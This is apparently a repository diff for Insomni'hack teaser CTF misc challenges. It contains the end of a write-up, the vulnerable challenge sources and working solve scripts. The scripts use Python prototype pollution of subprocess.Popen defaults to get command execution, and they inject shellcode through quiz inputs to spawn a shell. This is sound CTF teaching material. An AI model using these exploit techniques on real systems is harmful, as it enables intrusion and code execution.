finally, we define the utility function to play a game from a given game specification, and then run
|
||||
the exploit
|
||||
```python
|
||||
def run(host="localhost"):
|
||||
r = remote(host, 1337)
|
||||
for game in games:
|
||||
play_game(r, game)
|
||||
r.interactive()
|
||||
```
|
||||
this should pop a shell, and from there the flag can be read out
|
||||
|
||||
## conclusion
|
||||
|
||||
ctfs can often have really bad misc categories. misc is known to be plagued with annoying gamey
|
||||
challenges and this can make a ctf pretty frustrating to play. but i can solidly say that the
|
||||
insomni'hack teaser wasn't one of these ctfs
|
||||
|
||||
both of these misc challenges were really interesting and presented novel exploitation paths that
|
||||
needed to work around very tight constraints. and solving them was a lot of fun
|
||||
|
||||
```
|
||||
const int main[] = {15544, 268382464, 5};
|
||||
```
|
|
@ -0,0 +1,53 @@
|
|||
from pwn import *
|
||||
import socket
|
||||
|
||||
import json
|
||||
|
||||
import ppp
|
||||
import secrets
|
||||
import tqdm
|
||||
|
||||
popen_defaults = [-1, "/bin/bash", None, None, None, None, True, False,
|
||||
None, {"BASH_ENV":"/proc/self/fd/0"}, None, None, 0, True, False, []]
|
||||
|
||||
for _ in tqdm.trange(50000000):
|
||||
nonce = ppp.generate_nonce()
|
||||
data = secrets.token_hex(16)
|
||||
if ppp.is_valid_proof(data, nonce):
|
||||
break
|
||||
else:
|
||||
raise Exception("oops")
|
||||
|
||||
hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
|
||||
|
||||
obj = {
|
||||
"data": data,
|
||||
"nonce": nonce,
|
||||
"hash": hash,
|
||||
"get_data": {
|
||||
"__func__": {
|
||||
"__globals__": {
|
||||
"subprocess": {
|
||||
"Popen": {
|
||||
"__init__": {
|
||||
"__defaults__": popen_defaults
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
payload = json.dumps(obj)
|
||||
|
||||
print("running")
|
||||
|
||||
r = remote("ppp.insomnihack.ch", 12345)
|
||||
r.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
||||
|
||||
print(r.recvline())
|
||||
r.sendline(payload)
|
||||
r.sendline("/readflag Please")
|
||||
r.shutdown('send')
|
||||
r.interactive()
|
|
@ -0,0 +1,17 @@
|
|||
FROM python:latest
|
||||
RUN apt-get update && apt-get upgrade
|
||||
RUN groupadd -g 1000 tototo
|
||||
RUN useradd -g tototo -u 1000 tototo
|
||||
|
||||
ADD ppp.py /app/ppp.py
|
||||
ADD flag /flag
|
||||
ADD readflag /readflag
|
||||
|
||||
RUN chown root:root /readflag \
|
||||
&& chown root:root /flag \
|
||||
&& chmod 4555 /readflag \
|
||||
&& chmod 400 /flag
|
||||
|
||||
|
||||
USER tototo
|
||||
CMD ["timeout", "3", "/usr/bin/python3", "/app/ppp.py"]
|
|
@ -0,0 +1 @@
|
|||
redacted
|
|
@ -0,0 +1,104 @@
|
|||
from os import popen
|
||||
import hashlib, time, math, subprocess, json
|
||||
|
||||
|
||||
def response(res):
|
||||
print(res + ' | ' + popen('date').read())
|
||||
exit()
|
||||
|
||||
def generate_nonce():
|
||||
current_time = time.time()
|
||||
rounded_time = round(current_time / 60) * 60 # Round to the nearest 1 minutes (60 seconds)
|
||||
return hashlib.sha256(str(int(rounded_time)).encode()).hexdigest()
|
||||
|
||||
def is_valid_proof(data, nonce):
|
||||
DIFFICULTY_LEVEL = 6
|
||||
guess_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
|
||||
return guess_hash[:DIFFICULTY_LEVEL] == '0' * DIFFICULTY_LEVEL
|
||||
|
||||
|
||||
class Blacklist:
|
||||
|
||||
def __init__(self, data, nonce):
|
||||
self.data = data
|
||||
self.nonce = nonce
|
||||
|
||||
def get_data(self):
|
||||
out = {}
|
||||
out['data'] = self.data if 'data' in self.__dict__ else ()
|
||||
out['nonce'] = self.nonce if 'nonce' in self.__dict__ else ()
|
||||
return out
|
||||
|
||||
|
||||
def add_to_blacklist(src, dst):
|
||||
for key, value in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst[key] and type(value) == dict:
|
||||
add_to_blacklist(value, dst.get(key))
|
||||
else:
|
||||
dst[key] = value
|
||||
elif hasattr(dst, key) and type(value) == dict:
|
||||
add_to_blacklist(value, getattr(dst, key))
|
||||
else:
|
||||
setattr(dst, key, value)
|
||||
|
||||
def lists_to_set(data):
|
||||
if type(data) == dict:
|
||||
res = {}
|
||||
for key, value in data.items():
|
||||
res[key] = lists_to_set(value)
|
||||
elif type(data) == list:
|
||||
res = ()
|
||||
for value in data:
|
||||
res = (*res, lists_to_set(value))
|
||||
else:
|
||||
res = data
|
||||
return res
|
||||
|
||||
def is_blacklisted(json_input):
|
||||
|
||||
bl_data = blacklist.get_data()
|
||||
if json_input['data'] in bl_data['data']:
|
||||
return True
|
||||
if json_input['nonce'] in bl_data['nonce']:
|
||||
return True
|
||||
|
||||
json_input = lists_to_set(json_input)
|
||||
add_to_blacklist(json_input, blacklist)
|
||||
return False
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
blacklist = Blacklist(['dd9ae2332089200c4d138f3ff5abfaac26b7d3a451edf49dc015b7a0a737c794'], ['2bfd99b0167eb0f400a1c6e54e0b81f374d6162b10148598810d5ff8ef21722d'])
|
||||
|
||||
try:
|
||||
json_input = json.loads(input('Prove your work 😼\n'))
|
||||
except Exception:
|
||||
response('no')
|
||||
|
||||
if not isinstance(json_input, dict):
|
||||
response('message')
|
||||
|
||||
data = json_input.get('data')
|
||||
nonce = json_input.get('nonce')
|
||||
client_hash = json_input.get('hash')
|
||||
|
||||
if not (data and nonce and client_hash):
|
||||
response('Missing data, nonce, or hash')
|
||||
|
||||
server_nonce = generate_nonce()
|
||||
if server_nonce != nonce:
|
||||
response('nonce error')
|
||||
|
||||
if not is_valid_proof(data, nonce):
|
||||
response('Proof of work is invalid')
|
||||
|
||||
server_hash = hashlib.sha256(f'{data}{nonce}'.encode()).hexdigest()
|
||||
if server_hash != client_hash:
|
||||
response('Hash does not match')
|
||||
|
||||
if is_blacklisted(json_input):
|
||||
response('blacklisted PoW')
|
||||
|
||||
response('Congratulation, You\'ve proved your work 🎷🐴')
|
Binary file not shown.
|
@ -0,0 +1,52 @@
|
|||
from pwn import *
|
||||
context.arch = 'amd64'
|
||||
|
||||
import struct
|
||||
|
||||
stage1 = """
|
||||
mov eax, 9
|
||||
xor edi, edi
|
||||
mov esi, 4096
|
||||
or r8, -1
|
||||
mov edx, 7
|
||||
mov r10d, 33
|
||||
xor r9d, r9d
|
||||
syscall
|
||||
mov edx, 4096
|
||||
mov rsi, rax
|
||||
push rax
|
||||
xor eax, eax
|
||||
syscall
|
||||
ret
|
||||
"""
|
||||
stage1_bin = asm(stage1)
|
||||
assert len(stage1_bin) == 46
|
||||
stage1_bin = stage1_bin + b"\x00\x00"
|
||||
stage1_payload = list(struct.unpack("<iiiiiiiiiiii", stage1_bin))
|
||||
|
||||
stage2 = shellcraft.linux.sh()
|
||||
stage2_bin = asm(stage2).ljust(4096, b"\x00")
|
||||
|
||||
games = [
|
||||
{"quiz": "miscgod", "username": "const//", "answers": [0]*12},
|
||||
{"quiz": "miscgod", "username": "int//", "answers": [0]*12},
|
||||
{"quiz": "miscgod", "username": "main[]", "answers": stage1_payload},
|
||||
{"quiz": "miscgod", "username": ";//", "answers": [0]*12},
|
||||
{"quiz": "pts.txt", "username": "hacked", "rawinput": stage2_bin},
|
||||
]
|
||||
|
||||
def play_game(r, game):
|
||||
r.sendlineafter(b"> ", b"1")
|
||||
r.sendlineafter(b"> ", game["username"].encode())
|
||||
r.sendlineafter(b"> ", game["quiz"].encode())
|
||||
if "answers" in game:
|
||||
for answer in game["answers"]:
|
||||
r.sendlineafter(b"answer: ", str(answer).encode())
|
||||
else:
|
||||
r.send(game["rawinput"])
|
||||
|
||||
def run(host="localhost"):
|
||||
r = remote(host, 1337)
|
||||
for game in games:
|
||||
play_game(r, game)
|
||||
r.interactive()
|
|
@ -0,0 +1,22 @@
|
|||
FROM ubuntu:18.04 AS builder
|
||||
|
||||
RUN apt update && apt install -y --no-install-recommends \
|
||||
python3-minimal \
|
||||
libc6-dev \
|
||||
gcc \
|
||||
g++ \
|
||||
make
|
||||
|
||||
RUN useradd -u 1000 ctf
|
||||
|
||||
FROM pwn.red/jail
|
||||
COPY --from=builder / /srv
|
||||
|
||||
RUN mkdir -p /srv/app/quizzes
|
||||
COPY gui.py flag.txt main.py /srv/app/
|
||||
COPY quizzes /srv/app/tmp
|
||||
|
||||
COPY run.sh /srv/app/run
|
||||
RUN chmod 755 /srv/app/run
|
||||
|
||||
COPY jail-hook.sh /jail/hook.sh
|
|
@ -0,0 +1,16 @@
|
|||
services:
|
||||
terminal-pursuit:
|
||||
build: .
|
||||
ports:
|
||||
- 1337:5000
|
||||
cap_drop:
|
||||
- all
|
||||
cap_add:
|
||||
- chown
|
||||
- setuid
|
||||
- setgid
|
||||
- sys_admin
|
||||
- mknod
|
||||
security_opt:
|
||||
- seccomp=unconfined
|
||||
- apparmor=unconfined
|
|
@ -0,0 +1 @@
|
|||
INS{fake_flag}
|
|
@ -0,0 +1,48 @@
|
|||
menu = """
|
||||
______________________
|
||||
| __________________ |
|
||||
| | | |
|
||||
| | Terminal pursuit | |
|
||||
| |__________________| |
|
||||
| |
|
||||
| What to do? |
|
||||
| 1) Play |
|
||||
| 2) Scoreboards |
|
||||
| 3) Exit |
|
||||
|______________________|
|
||||
"""
|
||||
|
||||
category = """
|
||||
______________________
|
||||
| __________________ |
|
||||
| | | |
|
||||
| | Terminal pursuit | |
|
||||
| |__________________| |
|
||||
| |
|
||||
| Pick a category: |
|
||||
| - books |
|
||||
| - ctf |
|
||||
| - miscgod |
|
||||
|______________________|
|
||||
"""
|
||||
|
||||
username = """
|
||||
______________________
|
||||
| __________________ |
|
||||
| | | |
|
||||
| | Terminal pursuit | |
|
||||
| |__________________| |
|
||||
| |
|
||||
| Who is playing? |
|
||||
|______________________|
|
||||
"""
|
||||
|
||||
scoreboard_head = """
|
||||
================
|
||||
= Scoreboard =
|
||||
================
|
||||
"""
|
||||
|
||||
scoreboard_tail = """
|
||||
================
|
||||
"""
|
|
@ -0,0 +1,3 @@
|
|||
#!/bin/sh
|
||||
echo -n 'mode:LISTEN hostname:"app" cwd:"/app" port:5000 max_conns:0 max_conns_per_ip:1 time_limit:60 rlimit_as_type:HARD rlimit_cpu_type:HARD rlimit_fsize_type:HARD rlimit_nofile_type:HARD rlimit_fsize: 50 rlimit_nofile: 50 mount:{src:"/srv" dst:"/" is_bind:true nosuid:true nodev:true} cgroup_mem_max:20971520 cgroup_mem_swap_max:0 cgroup_cpu_ms_per_sec:100 cgroupv2_mount:"/jail/cgroup/unified/run" use_cgroupv2:true exec_bin:{path:"/app/run"} mount { dst: "/app/quizzes" fstype: "tmpfs" rw: true }' > /tmp/nsjail.cfg
|
||||
|
|
@ -0,0 +1,67 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import string
|
||||
import subprocess
|
||||
import sys
|
||||
import os
|
||||
|
||||
import gui
|
||||
|
||||
alphabet = "abcdefghijklmnopqrstuvwxyz/,:;[]_-."
|
||||
|
||||
prefix = "/app/quizzes/"
|
||||
results = prefix + "pts.txt"
|
||||
|
||||
def menu():
|
||||
print(gui.menu)
|
||||
|
||||
choice = int(input("> "))
|
||||
if choice != 1 and choice != 2:
|
||||
exit(0)
|
||||
|
||||
return choice
|
||||
|
||||
def get_user_string(text):
|
||||
print(text)
|
||||
s = input("> ").lower()
|
||||
for c in s:
|
||||
if c not in alphabet:
|
||||
exit(0)
|
||||
return s[:7]
|
||||
|
||||
def run_quizz(username, category):
|
||||
command = f"make run quizz=\"{prefix + category}\" username=\"{username}\""
|
||||
os.system(command)
|
||||
|
||||
def play():
|
||||
username = get_user_string(gui.username)
|
||||
category = get_user_string(gui.category)
|
||||
run_quizz(username, category)
|
||||
|
||||
# TODO: improve and combine categories scores
|
||||
def scoreboard():
|
||||
scores = {}
|
||||
for line in open(results, 'r').readlines():
|
||||
k = line.split(' ')[0]
|
||||
v = int(line.strip().split(',')[-1][:-1])
|
||||
scores[k] = v
|
||||
scores = sorted(scores.items(), reverse=True, key=lambda item: item[1])
|
||||
|
||||
print(gui.scoreboard_head)
|
||||
for i, r in enumerate(scores):
|
||||
print(f" {i+1}. {r[0]}\t{r[1]}")
|
||||
print(gui.scoreboard_tail)
|
||||
|
||||
def main():
|
||||
while True:
|
||||
try:
|
||||
choice = menu()
|
||||
if choice == 1:
|
||||
play()
|
||||
elif choice == 2:
|
||||
scoreboard()
|
||||
except Exception:
|
||||
exit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
|
@ -0,0 +1,13 @@
|
|||
CC = gcc
|
||||
CFLAGS = -x c -w
|
||||
|
||||
ifeq ($(findstring .,$(quizz)),)
|
||||
override quizz:=$(quizz).c
|
||||
endif
|
||||
|
||||
run: build
|
||||
@./run "$(username)"
|
||||
|
||||
build:
|
||||
@$(CC) $(CFLAGS) "$(quizz)" -o run
|
||||
|
|
@ -0,0 +1,51 @@
|
|||
#include "quizz.h"
|
||||
|
||||
/******************
|
||||
* Constants
|
||||
******************/
|
||||
const int LEN = 6;
|
||||
|
||||
const char *QUESTIONS[] = {
|
||||
"What's the total word count of the Lord of The Ring trilogy?\n 1) 579459 \n 2) 545799\n 3) 799545\n",
|
||||
"Allegedly, what is written on the Hell's door\n 1) My name is Olaf and I love warm hugs.\n 2) Lasciate ogne speranza, voi ch'intrate.\n 3) Brace yourself, summer is coming.\n",
|
||||
"Who was the most productive writer during COVID?\n 1) Brandon Sanderson\n 2) George R.R. Martin\n 3) Your doctor\n",
|
||||
"Who is also known as Space Messiah?\n 1) Neil Armstrong\n 2) Yoda\n 3) Muad'Dib\n",
|
||||
"Who swims across the universe with exactly four elephants on the back?\n 1) No one\n 2) A'Tuin\n 3) The earth\n",
|
||||
"What are the last two words of many books and this category?\n 1) Have fun\n 2) Well done\n 3) The end\n",
|
||||
};
|
||||
|
||||
const int SOLUTIONS[] = { 1, 1, 1, 1, 1, 1, };
|
||||
|
||||
/******************
|
||||
* Main
|
||||
******************/
|
||||
int main(int argc, char* argv[]) {
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
FILE *file;
|
||||
|
||||
file = fopen(scores_file, "a");
|
||||
fprintf(file,"%s = {", argv[1]);
|
||||
|
||||
int answer;
|
||||
int score = 0;
|
||||
for (int i = 0; i < LEN; i++) {
|
||||
printf("%s\n", QUESTIONS[i]);
|
||||
printf("Your answer: ");
|
||||
scanf("%d", &answer);
|
||||
|
||||
if (answer == SOLUTIONS[i]) {
|
||||
score++;
|
||||
printf("Correct!\n\n");
|
||||
} else {
|
||||
printf("False!\n\n");
|
||||
}
|
||||
|
||||
fprintf(file, "%d,", answer);
|
||||
}
|
||||
|
||||
fprintf(file, "%d}\n", score);
|
||||
|
||||
fclose(file);
|
||||
}
|
|
@ -0,0 +1,10 @@
|
|||
#include "quizz.h"
|
||||
|
||||
/******************
|
||||
* Main
|
||||
******************/
|
||||
int main(int argc, char* argv[]) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
printf("\nTODO: come up with some funny questions about CTFs.\n");
|
||||
}
|
|
@ -0,0 +1,57 @@
|
|||
#include "quizz.h"
|
||||
|
||||
/******************
|
||||
* Constants
|
||||
******************/
|
||||
const int LEN = 12;
|
||||
|
||||
const char *QUESTIONS[] = {
|
||||
"Hippopotomonstrosesquipedaliophobia is the fear of what?\n 1) Hippos\n 2) Long words\n 3) Huge buildings\n",
|
||||
"Of what was made the first hockey puck ever used?\n 1) Cow dung\n 2) Stone\n 3) Ice\n",
|
||||
"What is the correct answer to the next question?\n 1) 2\n 2) 3\n 3) 1\n",
|
||||
"What is the correct answer to this question?\n 1) 1\n 2) 2\n 3) 3\n",
|
||||
"What was the correct answer to the previous question?\n 1) 3\n 2) 1\n 3) 2\n",
|
||||
"How many liters of pee does an average cow produce in one day?\n 1) Ventordici\n 2) Jason's favorite number\n 3) A few drops.\n",
|
||||
"What are the most organized objects\n 1) Shoes \n 2) Closets\n 3) Levers\n",
|
||||
"The fear of constipation is known as?\n 1) Chlamydia\n 2) Coprastastaphobia\n 3) Chikungunya\n",
|
||||
"Which country consumes the most (and produces the best) chocolate in the world?\n 1) Switzerland\n",
|
||||
"What is the most stolen food in the world?\n 1) Chocolate\n 2) Bread\n 3) Cheese\n",
|
||||
"Golfing is:\n 1) A sport\n 2) The beautiful art of shortening your SHELLCODE\n",
|
||||
"Did you like this category?\n 1) Hell yeah!\n",
|
||||
};
|
||||
|
||||
const int SOLUTIONS[] = { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, };
|
||||
|
||||
/******************
|
||||
* Main
|
||||
******************/
|
||||
int main(int argc, char* argv[]) {
|
||||
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
FILE *file;
|
||||
|
||||
file = fopen(scores_file, "a");
|
||||
fprintf(file,"%s = {", argv[1]);
|
||||
|
||||
int answer;
|
||||
int score = 0;
|
||||
for (int i = 0; i < LEN; i++) {
|
||||
printf("%s\n", QUESTIONS[i]);
|
||||
printf("Your answer: ");
|
||||
scanf("%d", &answer);
|
||||
|
||||
if (answer == SOLUTIONS[i]) {
|
||||
score++;
|
||||
printf("Correct!\n\n");
|
||||
} else {
|
||||
printf("False!\n\n");
|
||||
}
|
||||
|
||||
fprintf(file, "%d,", answer);
|
||||
}
|
||||
|
||||
fprintf(file, "%d}\n", score);
|
||||
|
||||
fclose(file);
|
||||
}
|
|
@ -0,0 +1,3 @@
|
|||
#include "stdio.h"
|
||||
|
||||
const char *scores_file = "pts.txt";
|
|
@ -0,0 +1,8 @@
|
|||
#!/bin/sh
|
||||
|
||||
export PATH
|
||||
|
||||
cp /app/tmp/* /app/quizzes
|
||||
cd /app/quizzes
|
||||
python3 -B ../main.py
|
||||
|
Loading…
Reference in New Issue